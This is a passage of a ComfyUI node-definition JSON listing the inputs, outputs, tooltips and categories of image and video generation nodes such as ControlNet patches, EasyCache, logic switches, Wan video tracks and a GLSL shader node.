["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ChromaRadianceOptions", "display_name": null, "description": "Allows setting advanced options for the Chroma Radiance model.", "python_module": "comfy_extras.nodes_chroma_radiance", "category": "model/patch/chroma radiance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PiDConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "latent": ["LATENT", {"tooltip": "latent (from VAEEncode or a KSampler)."}], "latent_format": ["COMBO", {"tooltip": "Flux1 (16-ch) and Flux2 (128-ch) latents are auto-detected from channel dim under 'flux'. For SD3 (16-ch), SDXL (4-ch), or QwenImage (16-ch), select manually.", "default": "flux", "multiselect": false, "options": ["flux", "sd3", "sdxl", "qwenimage"]}], "degrade_sigma": ["FLOAT", {"tooltip": "0 = clean latent. Increase to denoise corrupted latent outputs.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "latent", "latent_format", "degrade_sigma"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PiDConditioning", "display_name": "PiD Conditioning", "description": "Attaches a latent and a degrade_sigma scalar to a CONDITIONING for PiD decoding/upscaling", "python_module": "comfy_extras.nodes_pid", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelPatchLoader": {"input": {"required": {"name": [[]]}}, "input_order": {"required": ["name"]}, "is_input_list": false, "output": ["MODEL_PATCH"], "output_is_list": [false], "output_name": ["MODEL_PATCH"], "name": "ModelPatchLoader", "display_name": "Load Model Patch", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "QwenImageDiffsynthControlnet": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "vae": ["VAE"], "image": ["IMAGE"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"mask": ["MASK"]}}, "input_order": {"required": ["model", "model_patch", "vae", "image", "strength"], "optional": ["mask"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "QwenImageDiffsynthControlnet", "display_name": "Apply Qwen Image DiffSynth ControlNet", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/qwen", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "ZImageFunControlnet": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "vae": ["VAE"], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"image": ["IMAGE"], "inpaint_image": ["IMAGE"], "mask": ["MASK"]}}, "input_order": {"required": ["model", "model_patch", "vae", "strength"], "optional": ["image", "inpaint_image", "mask"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ZImageFunControlnet", "display_name": "Apply Z-Image Fun ControlNet", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/z-image", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "USOStyleReference": {"input": {"required": {"model": ["MODEL"], "model_patch": ["MODEL_PATCH"], "clip_vision_output": ["CLIP_VISION_OUTPUT"]}}, "input_order": {"required": ["model", "model_patch", "clip_vision_output"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "USOStyleReference", "display_name": "Apply USO Style Reference", "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/flux", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": []}, "SUPIRApply": {"input": {"required": {"model": ["MODEL", {}], "model_patch": ["MODEL_PATCH", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "strength_start": ["FLOAT", {"tooltip": "Control strength at the start of sampling (high sigma).", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "strength_end": ["FLOAT", {"tooltip": "Control strength at the end of sampling (low sigma). Linearly interpolated from start.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "restore_cfg": ["FLOAT", {"tooltip": "Pulls denoised output toward the input latent. Higher = stronger fidelity to input. 0 to disable.", "advanced": true, "default": 4.0, "min": 0.0, "max": 20.0, "step": 0.1}], "restore_cfg_s_tmin": ["FLOAT", {"tooltip": "Sigma threshold below which restore_cfg is disabled.", "advanced": true, "default": 0.05, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "model_patch", "vae", "image", "strength_start", "strength_end", "restore_cfg", "restore_cfg_s_tmin"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SUPIRApply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_model_patch", "category": "model/patch/supir", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EasyCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to add EasyCache to."}], "reuse_threshold": ["FLOAT", {"tooltip": "The threshold for reusing cached steps.", "advanced": true, "default": 0.2, "min": 0.0, "max": 3.0, "step": 0.01}], "start_percent": ["FLOAT", {"tooltip": "The relative sampling step to begin use of EasyCache.", "advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "The relative sampling step to end use of EasyCache.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "verbose": ["BOOLEAN", {"tooltip": "Whether to log verbose information.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "reuse_threshold", "start_percent", "end_percent", "verbose"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with EasyCache."], "output_matchtypes": null, "name": "EasyCache", "display_name": "EasyCache", "description": "Native EasyCache implementation.", "python_module": "comfy_extras.nodes_easycache", "category": "advanced/debug", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LazyCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to add LazyCache to."}], "reuse_threshold": ["FLOAT", {"tooltip": "The threshold for reusing cached steps.", "advanced": true, "default": 0.2, "min": 0.0, "max": 3.0, "step": 0.01}], "start_percent": ["FLOAT", {"tooltip": "The relative sampling step to begin use of LazyCache.", "advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": ["FLOAT", {"tooltip": "The relative sampling step to end use of LazyCache.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}], "verbose": ["BOOLEAN", {"tooltip": "Whether to log verbose information.", "advanced": true, "default": false}]}}, "input_order": {"required": ["model", "reuse_threshold", "start_percent", "end_percent", "verbose"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The model with LazyCache."], "output_matchtypes": null, "name": "LazyCache", "display_name": "LazyCache", "description": "A homebrew version of EasyCache - even 'easier' version of EasyCache to implement. Overall works worse than EasyCache, but better in some rare cases AND universal compatibility with everything in ComfyUI.", "python_module": "comfy_extras.nodes_easycache", "category": "advanced/debug", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioEncoderLoader": {"input": {"required": {"audio_encoder_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["audio_encoder_name"]}, "is_input_list": false, "output": ["AUDIO_ENCODER"], "output_is_list": [false], "output_name": ["AUDIO_ENCODER"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEncoderLoader", "display_name": "Load Audio Encoder", "description": "", "python_module": "comfy_extras.nodes_audio_encoder", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioEncoderEncode": {"input": {"required": {"audio_encoder": ["AUDIO_ENCODER", {}], "audio": ["AUDIO", {}]}}, "input_order": {"required": ["audio_encoder", "audio"]}, "is_input_list": false, "output": ["AUDIO_ENCODER_OUTPUT"], "output_is_list": [false], "output_name": ["AUDIO_ENCODER_OUTPUT"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEncoderEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_audio_encoder", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ScaleROPE": {"input": {"required": {"model": ["MODEL", {}], "scale_x": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_x": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}], "scale_y": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_y": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}], "scale_t": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1}], "shift_t": ["FLOAT", {"advanced": true, "default": 0.0, "min": -256.0, "max": 256.0, "step": 0.1}]}}, "input_order": {"required": ["model", "scale_x", "shift_x", "scale_y", "shift_y", "scale_t", "shift_t"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ScaleROPE", "display_name": null, "description": "Scale and shift the ROPE of the model.", "python_module": "comfy_extras.nodes_rope", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ComfySwitchNode": {"input": {"required": {"switch": ["BOOLEAN", {}], "on_false": ["COMFY_MATCHTYPE_V3", {"lazy": true, "template": {"template_id": "switch", "allowed_types": "*"}}], "on_true": ["COMFY_MATCHTYPE_V3", {"lazy": true, "template": {"template_id": "switch", "allowed_types": "*"}}]}}, "input_order": {"required": ["switch", "on_false", "on_true"]}, "is_input_list": false, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [false], "output_name": ["output"], "output_tooltips": [null], "output_matchtypes": ["switch"], "name": "ComfySwitchNode", "display_name": "If/Else Switch", "description": "", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["if", "then", "switch", "conditional", "branch"], "essentials_category": null, "has_intermediate_output": false}, "CustomCombo": {"input": {"required": {"choice": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["choice"]}, "is_input_list": false, "output": ["STRING", "INT"], "output_is_list": [false, false], "output_name": ["STRING", "INDEX"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "CustomCombo", "display_name": "Custom Combo", "description": "", "python_module": "comfy_extras.nodes_logic", "category": "utilities", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ComfyNotNode": {"input": {"required": {"value": ["*", {}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyNotNode", "display_name": "Not", "description": "Logical NOT operation. Returns true if the value is falsy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["invert", "toggle", "negate", "flip boolean"], "essentials_category": null, "has_intermediate_output": false}, "ComfyAndNode": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "prefix": "value", "min": 1, "max": 10}}]}}, "input_order": {"required": ["values"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyAndNode", "display_name": "And", "description": "Logical AND operation. Returns true if all of the values are truthy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["all", "every"], "essentials_category": null, "has_intermediate_output": false}, "ComfyOrNode": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "prefix": "value", "min": 1, "max": 10}}]}}, "input_order": {"required": ["values"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "ComfyOrNode", "display_name": "Or", "description": "Logical OR operation. Returns true if any of the values are truthy. Uses Python's rules for truthiness.", "python_module": "comfy_extras.nodes_logic", "category": "utilities/logic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["any", "some"], "essentials_category": null, "has_intermediate_output": false}, "ResolutionSelector": {"input": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for the output dimensions.", "default": "1:1 (Square)", "multiselect": false, "options": ["1:1 (Square)", "2:3 (Portrait Photo)", "3:2 (Photo)", "3:4 (Portrait Standard)", "4:3 (Standard)", "9:16 (Portrait Widescreen)", "16:9 (Widescreen)", "21:9 (Ultrawide)"]}], "megapixels": ["FLOAT", {"tooltip": "Target total megapixels. 1.0 MP \u2248 1024x1024 for square.", "default": 1.0, "min": 0.1, "max": 16.0, "step": 0.1}], "multiple": ["INT", {"tooltip": "Nearest multiple of the result to set the selected resolution to.", "advanced": true, "default": 8, "min": 8, "max": 128, "step": 4}]}}, "input_order": {"required": ["aspect_ratio", "megapixels", "multiple"]}, "is_input_list": false, "output": ["INT", "INT"], "output_is_list": [false, false], "output_name": ["width", "height"], "output_tooltips": ["Calculated width in pixels multiplied by the selected multiple.", "Calculated height in pixels multiplied by the selected multiple."], "output_matchtypes": null, "name": "ResolutionSelector", "display_name": "Resolution Selector", "description": "Calculate width and height from aspect ratio and megapixel target. Useful for setting up Empty Latent Image dimensions.", "python_module": "comfy_extras.nodes_resolution", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "wanBlockSwap": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "wanBlockSwap", "display_name": null, "description": "Intercept wanBlockSwap custom node that causes major instability and make it no-op.", "python_module": "comfy_extras.nodes_nop", "category": "", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Kandinsky5ImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 768, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "LATENT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "cond_latent"], "output_tooltips": [null, null, "Empty video latent", "Clean encoded start images, used to replace the noisy start of the model output latents"], "output_matchtypes": null, "name": "Kandinsky5ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning/kandinsky", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "NormalizeVideoLatentStart": {"input": {"required": {"latent": ["LATENT", {}], "start_frame_count": ["INT", {"tooltip": "Number of latent frames to normalize, counted from the start", "default": 4, "min": 1, "max": 16384, "step": 1}], "reference_frame_count": ["INT", {"tooltip": "Number of latent frames after the start frames to use as reference", "default": 5, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["latent", "start_frame_count", "reference_frame_count"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "NormalizeVideoLatentStart", "display_name": null, "description": "Normalizes the initial frames of a video latent to match the mean and standard deviation of subsequent reference frames. Helps reduce differences between the starting frames and the rest of the video.", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeKandinsky5": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "qwen25_7b": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "clip_l", "qwen25_7b"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeKandinsky5", "display_name": "CLIP Text Encode (Kandinsky 5)", "description": "", "python_module": "comfy_extras.nodes_kandinsky5", "category": "model/conditioning/kandinsky", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["kandinsky prompt"], "essentials_category": null, "has_intermediate_output": false}, "WanMoveTrackToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "strength": ["FLOAT", {"tooltip": "Strength of the track conditioning.", "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "start_image": ["IMAGE", {}]}, "optional": {"tracks": ["TRACKS", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "strength", "width", "height", "length", "batch_size", "start_image"], "optional": ["tracks", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanMoveTrackToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveTracksFromCoords": {"input": {"required": {}, "optional": {"track_coords": ["STRING", {"default": "[]", "forceInput": true, "multiline": false}], "track_mask": ["MASK", {}]}}, "input_order": {"required": [], "optional": ["track_coords", "track_mask"]}, "is_input_list": false, "output": ["TRACKS", "INT"], "output_is_list": [false, false], "output_name": ["TRACKS", "track_length"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "WanMoveTracksFromCoords", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveConcatTrack": {"input": {"required": {"tracks_1": ["TRACKS", {}]}, "optional": {"tracks_2": ["TRACKS", {}]}}, "input_order": {"required": ["tracks_1"], "optional": ["tracks_2"]}, "is_input_list": false, "output": ["TRACKS"], "output_is_list": [false], "output_name": ["TRACKS"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanMoveConcatTrack", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanMoveVisualizeTracks": {"input": {"required": {"images": ["IMAGE", {}], "line_resolution": ["INT", {"default": 24, "min": 1, "max": 1024}], "circle_size": ["INT", {"advanced": true, "default": 12, "min": 1, "max": 128}], "opacity": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01}], "line_width": ["INT", {"advanced": true, "default": 16, "min": 1, "max": 128}]}, "optional": {"tracks": ["TRACKS", {}]}}, "input_order": {"required": ["images", "line_resolution", "circle_size", "opacity", "line_width"], "optional": ["tracks"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanMoveVisualizeTracks", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GenerateTracks": {"input": {"required": {"width": ["INT", {"default": 832, "min": 16, "max": 4096, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 4096, "step": 16}], "start_x": ["FLOAT", {"tooltip": "Normalized X coordinate (0-1) for start position.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "start_y": ["FLOAT", {"tooltip": "Normalized Y coordinate (0-1) for start position.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "end_x": ["FLOAT", {"tooltip": "Normalized X coordinate (0-1) for end position.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "end_y": ["FLOAT", {"tooltip": "Normalized Y coordinate (0-1) for end position.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "num_frames": ["INT", {"default": 81, "min": 1, "max": 1024}], "num_tracks": ["INT", {"default": 5, "min": 1, "max": 100}], "track_spread": ["FLOAT", {"tooltip": "Normalized distance between tracks. Tracks are spread perpendicular to the motion direction.", "default": 0.025, "min": 0.0, "max": 1.0, "step": 0.001}], "bezier": ["BOOLEAN", {"tooltip": "Enable Bezier curve path using the mid point as control point.", "default": false}], "mid_x": ["FLOAT", {"tooltip": "Normalized X control point for Bezier curve. Only used when 'bezier' is enabled.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "mid_y": ["FLOAT", {"tooltip": "Normalized Y control point for Bezier curve. Only used when 'bezier' is enabled.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "interpolation": ["COMBO", {"tooltip": "Controls the timing/speed of movement along the path.", "multiselect": false, "options": ["linear", "ease_in", "ease_out", "ease_in_out", "constant"]}]}, "optional": {"track_mask": ["MASK", {"tooltip": "Optional mask to indicate visible frames."}]}}, "input_order": {"required": ["width", "height", "start_x", "start_y", "end_x", "end_y", "num_frames", "num_tracks", "track_spread", "bezier", "mid_x", "mid_y", "interpolation"], "optional": ["track_mask"]}, "is_input_list": false, "output": ["TRACKS", "INT"], "output_is_list": [false, false], "output_name": ["TRACKS", "track_length"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GenerateTracks", "display_name": "Generate Video Tracks", "description": "", "python_module": "comfy_extras.nodes_wanmove", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["motion paths", "camera movement", "trajectory"], "essentials_category": null, "has_intermediate_output": false}, "EmptyARVideoLatent": {"input": {"required": {"width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 1024, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyARVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/latent/autoregressive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerARVideo": {"input": {"required": {"num_frame_per_block": ["INT", {"tooltip": "Frames per autoregressive block. 1 = framewise, 3 = chunkwise. Must match the checkpoint's training mode.", "default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["num_frame_per_block"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerARVideo", "display_name": "Sampler AR Video", "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ARVideoI2V": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {}], "start_image": ["IMAGE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 1024, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["model", "vae", "start_image", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["MODEL", "LATENT"], "output_is_list": [false, false], "output_name": ["MODEL", "LATENT"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ARVideoI2V", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ar_video", "category": "model/conditioning/autoregressive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageCompare": {"input": {"required": {"compare_view": ["IMAGECOMPARE", {"socketless": true}]}, "optional": {"image_a": ["IMAGE", {}], "image_b": ["IMAGE", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["compare_view"], "optional": ["image_a", "image_b"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "ImageCompare", "display_name": "Compare Images", "description": "Compares two images side by side with a slider.", "python_module": "comfy_extras.nodes_image_compare", "category": "image", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "TextEncodeZImageOmni": {"input": {"required": {"clip": ["CLIP", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "auto_resize_images": ["BOOLEAN", {"advanced": true, "default": true}]}, "optional": {"image_encoder": ["CLIP_VISION", {}], "vae": ["VAE", {}], "image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "image3": ["IMAGE", {}]}}, "input_order": {"required": ["clip", "prompt", "auto_resize_images"], "optional": ["image_encoder", "vae", "image1", "image2", "image3"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeZImageOmni", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_zimage", "category": "model/conditioning/z-image", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GLSLShader": {"input": {"required": {"fragment_shader": ["STRING", {"tooltip": "GLSL fragment shader source code (GLSL ES 3.00 / WebGL 2.0 compatible)", "default": "#version 300 es\nprecision highp float;\n\nuniform sampler2D u_image0;\nuniform vec2 u_resolution;\n\nin vec2 v_texCoord;\nlayout(location = 0) out vec4 fragColor0;\n\nvoid main() {\n fragColor0 = texture(u_image0, v_texCoord);\n}\n", "multiline": true}], "size_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Output size: 'from_input' uses first input image dimensions, 'custom' allows manual size", "options": [{"key": "from_input", "inputs": {"required": {}}}, {"key": "custom", "inputs": {"required": {"width": ["INT", {"default": 512, "min": 1, "max": 16384}], "height": ["INT", {"default": 512, "min": 1, "max": 16384}]}}}]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Images are available as u_image0-4 (sampler2D) in the shader code", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}], "floats": ["COMFY_AUTOGROW_V3", {"tooltip": "Floats are available as u_float0-19 in the shader code", "template": {"input": {"required": {"float": ["FLOAT", {"default": 0.0, "forceInput": true}]}}, "prefix": "u_float", "min": 0, "max": 20}}], "ints": ["COMFY_AUTOGROW_V3", {"tooltip": "Ints are available as u_int0-19 in 